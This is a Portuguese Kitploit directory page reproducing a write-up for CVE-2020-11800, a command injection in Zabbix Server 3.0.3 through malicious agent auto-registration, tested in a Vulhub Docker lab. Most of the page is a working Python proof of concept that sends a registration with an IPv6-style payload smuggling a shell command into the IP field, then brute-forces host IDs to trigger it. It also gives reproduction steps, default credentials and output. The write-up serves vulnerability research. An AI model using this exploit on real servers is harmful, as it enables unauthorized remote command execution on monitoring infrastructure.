Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-11800 — Exploit PoC para CVE-2020-11800, uma injeção de comandos no Zabbix Server via auto-registro de agente malicioso, com entrega de payload baseada em Python e força bruta de ID de host. | Kitploit
Ferramentas/GitHubGitHub/ycseo-git/cve-2020-11800
Análise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoComando e ControleDesenvolvimento de Payloads
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Exploit PoC para CVE-2020-11800, uma injeção de comandos no Zabbix Server via auto-registro de agente malicioso, com entrega de payload baseada em Python e força bruta de ID de host.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Seções exigidas pelas diretrizes da atividade são marcadas com “(Obrigatório)”.

1. Ambiente (Obrigatório)

Dockerfile (Obrigatório)

Este ambiente usa um Dockerfile personalizado baseado na imagem vulnerável do Zabbix Server fornecida pelo Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

O Dockerfile cria uma imagem local usando o ambiente vulnerável do Zabbix Server 3.0.3. Nenhum pacote ou configuração adicional foi adicionado durante o processo de build.


docker-compose.yml (Obrigatório)

O ambiente vulnerável é configurado usando o Docker Compose.

O ambiente consiste em quatro serviços:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

O serviço server é construído localmente usando o Dockerfile:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

O contêiner MySQL importa automaticamente os arquivos de inicialização SQL do diretório src/ usando montagem de volume:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Isso permite que o esquema do banco de dados e os dados iniciais do Zabbix sejam carregados automaticamente quando o contêiner inicia.


Arquitetura de Serviços (Obrigatório)

O ambiente opera usando a seguinte estrutura:

root@kitploit:~
[Browser]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Fornece a interface de gerenciamento baseada na web, acessível pelo navegador.

O administrador configura o auto-registro e executa operações relacionadas ao monitoramento por meio dessa interface.

Zabbix Server

O componente principal responsável por:

  • gerenciamento de agentes
  • execução de scripts
  • lógica de monitoramento
  • processamento de eventos

A vulnerabilidade de injeção de comandos é acionada dentro desse contêiner.

Zabbix Agent

Atua como um host monitorado e se comunica com o Zabbix Server.

O exploit abusa do mecanismo de auto-registro durante o processo de registro do agente.

MySQL

Armazena dados de configuração do Zabbix, informações de hosts e dados relacionados ao monitoramento.


Imagens e Versões (Obrigatório)

ServiçoImagemVersão
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

O ambiente é baseado no ambiente vulnerável Zabbix 3.0.3 fornecido pelo Vulhub.

2. Causa Raiz (Obrigatório)

Descrição da Vulnerabilidade (Obrigatório)

CVE-2020-11800 é uma vulnerabilidade de injeção de comandos na funcionalidade Active Proxy Trapper do Zabbix Server.

A vulnerabilidade existe porque o patch para CVE-2017-2824 foi incompleto. Um atacante pode contornar o patch original usando um payload no estilo IPv6 e executar comandos arbitrários no Zabbix Server.

A vulnerabilidade é acionada durante o processo de auto-registro, quando o servidor processa informações de host controladas pelo usuário.


Análise da Causa Raiz (Obrigatório)

A causa raiz da vulnerabilidade é o tratamento inseguro de entrada controlada pelo usuário dentro de comandos shell.

Durante a execução de scripts, o Zabbix Server usa o valor do IP do host registrado para construir comandos como:

root@kitploit:~
ping <host_ip>

Em condições normais:

root@kitploit:~
ping 127.0.0.1

No entanto, se um atacante registrar um host usando o seguinte payload:

root@kitploit:~
ffff:::;touch /tmp/success2

o comando final executado pelo shell torna-se:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Como o ponto e vírgula (;) atua como separador de comandos do shell, o shell interpreta a entrada como dois comandos separados:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Como resultado, a execução arbitrária de comandos torna-se possível.

Bypass do Patch Usando IPv6

O patch original para CVE-2017-2824 tentava restringir valores de entrada maliciosos.

No entanto, a lógica de validação não tratava adequadamente entradas no estilo IPv6.

O payload:

root@kitploit:~
ffff:::;touch /tmp/success2

usa um prefixo semelhante a IPv6 (ffff:::) para contornar a lógica de validação existente enquanto ainda injeta metacaracteres do shell.

Isso permite que atacantes contornem o patch anterior e continuem explorando a vulnerabilidade de injeção de comandos.


Processo de Acionamento da Vulnerabilidade (Obrigatório)

O processo do exploit ocorre na seguinte ordem:

root@kitploit:~
Attacker
 ↓
Fake Agent Registration
 ↓
Malicious IP Stored
 ↓
Zabbix Script Execution
 ↓
Shell Command Construction
 ↓
Command Injection
 ↓
Arbitrary Command Execution

O atacante primeiro envia uma solicitação maliciosa de auto-registro contendo um campo IP especialmente elaborado.

Após o host ser registrado, o Zabbix Server executa um script de monitoramento usando o valor do IP do host armazenado.

Durante esse processo, o payload malicioso é interpretado pelo shell, levando à execução arbitrária de comandos.


Fluxo de Ataque e Impacto (Obrigatório)

O exploit permite que atacantes executem comandos arbitrários com os privilégios do processo do Zabbix Server.

Neste ambiente, a exploração bem-sucedida criou o seguinte arquivo dentro do contêiner do servidor:

root@kitploit:~
/tmp/success2

Isso confirma que os comandos shell injetados foram executados com sucesso.

Em um ambiente real, a exploração bem-sucedida poderia permitir que atacantes:

  • executem comandos arbitrários do sistema
  • baixem e executem malware
  • realizem reconhecimento interno
  • façam pivô para outros sistemas
  • comprometam a infraestrutura de monitoramento

A vulnerabilidade é particularmente perigosa porque servidores de monitoramento frequentemente têm visibilidade de múltiplos sistemas internos e componentes de infraestrutura.

3. PoC (Obrigatório)

Visão Geral do PoC (Obrigatório)

A Prova de Conceito (PoC) foi escrita em Python e se comunica diretamente com o Zabbix Server pela porta TCP 10051.

A PoC executa as seguintes ações:

  1. Envia uma solicitação maliciosa de auto-registro
  2. Executa força bruta em valores válidos de hostid
  3. Aciona a execução de script usando o payload injetado

Código da PoC

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Análise do Payload (Obrigatório)

O payload usado nesta PoC é:

root@kitploit:~
ffff:::;touch /tmp/success2

Estrutura do Payload

PartePropósito
ffff:::Prefixo semelhante a IPv6 usado para contornar a validação
;Separador de comandos do shell
touch /tmp/success2Comando arbitrário executado no servidor

O payload abusa do fato de o servidor concatenar incorretamente valores de IP controlados pelo usuário em comandos shell.

Propósito

  • Registra um Zabbix Agent falso
  • Armazena um valor de IP malicioso no servidor
  • Prepara o alvo para injeção de comandos

O payload é entregue por meio do campo ip durante o processo de auto-registro.


Processo de Execução do Código da PoC (Obrigatório)

Solicitação de Auto-Registro

A primeira solicitação enviada pela PoC tenta registrar um host malicioso.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Força Bruta de Host ID

Após o registro, a PoC tenta localizar um hostid válido.

root@kitploit:~
for i in range(10000, 10500):

A PoC itera por uma faixa de IDs de host possíveis e tenta acionar a execução de scripts.

Essa etapa é necessária porque o servidor atribui dinamicamente os IDs de host após o registro.

Solicitação de Execução de Script

A seguinte solicitação aciona a execução de comandos:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Parâmetros

ParâmetroDescrição
requestSolicita a execução do script
scriptidID do script Zabbix configurado
hostidID do host alvo

Neste ambiente, scriptid:1 corresponde a um script relacionado a ping que usa o valor do IP do host durante a execução do comando.

Acionamento da Vulnerabilidade

O Zabbix Server internamente constrói um comando shell semelhante a:

root@kitploit:~
ping ffff:::;touch /tmp/success2

O shell interpreta isso como:

root@kitploit:~
ping ffff:::
touch /tmp/success2

Como resultado:

  • o comando ping falha devido a um endereço IPv6 inválido
  • o comando touch injetado é executado com sucesso

Saída Esperada

Durante a exploração bem-sucedida, a seguinte saída pode aparecer:

root@kitploit:~
ping: bad address 'ffff:::'

Isso indica que o payload atingiu o estágio de execução de comandos do shell.

A exploração bem-sucedida é confirmada quando o seguinte arquivo existe dentro do contêiner do servidor:

root@kitploit:~
/tmp/success2

4. Reprodução (Obrigatório)

Processo de Execução do PoC e do Exploit (Obrigatório)

O fluxo completo do exploit está resumido abaixo:

root@kitploit:~
Start Docker Environment
        ↓
Access Zabbix Web Interface
        ↓
Enable Auto Registration
        ↓
Run exploit.py
        ↓
Register Malicious Host
        ↓
Trigger Script Execution
        ↓
Command Injection
        ↓
Verify /tmp/success2

Etapas Reais de Execução do Exploit (Obrigatório)

Configuração do Ambiente

Inicie o ambiente vulnerável usando o Docker Compose.

root@kitploit:~
docker compose up -d

Verifique se todos os contêineres estão rodando corretamente.

root@kitploit:~
docker compose ps

O ambiente deve incluir os seguintes contêineres:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Acessando a Interface Web

Abra o navegador e acesse a interface web do Zabbix.

root@kitploit:~
http://127.0.0.1:8080

Credenciais padrão:

root@kitploit:~
Username: admin
Password: zabbix

Habilitando o Auto-Registro

O exploit exige que o recurso de auto-registro esteja habilitado.

Navegue até:

root@kitploit:~
Configuration → Actions

Altere a Fonte de Evento para:

root@kitploit:~
Auto registration

Crie uma nova Ação e configure a seguinte operação:

root@kitploit:~
Operation Type: Add Host

Isso permite que agentes recém-registrados sejam adicionados automaticamente ao servidor.

Executando o Exploit

Execute o script da PoC.

root@kitploit:~
python3 exploit.py 127.0.0.1

A PoC envia uma solicitação maliciosa de auto-registro e tenta acionar a execução de comandos usando vários IDs de host.


Análise de Resultados (Obrigatório)

Exemplo de Saída

Durante a exploração bem-sucedida, uma saída semelhante à seguinte pode aparecer:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

Isso indica que o payload atingiu o caminho vulnerável de execução de comandos do shell.

Verificando a Execução de Comandos

Acesse o contêiner do Zabbix Server.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Verifique se o comando injetado criou o arquivo alvo.

root@kitploit:~
ls -l /tmp/success2

A exploração bem-sucedida produz uma saída semelhante a:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

Isso confirma que comandos arbitrários foram executados com sucesso dentro do contêiner do Zabbix Server.


Capturas de Tela (Obrigatório)

As seguintes capturas de tela foram incluídas no diretório screenshots/:

Auto-Registro

Resultado da Execução da PoC

Baixar ferramenta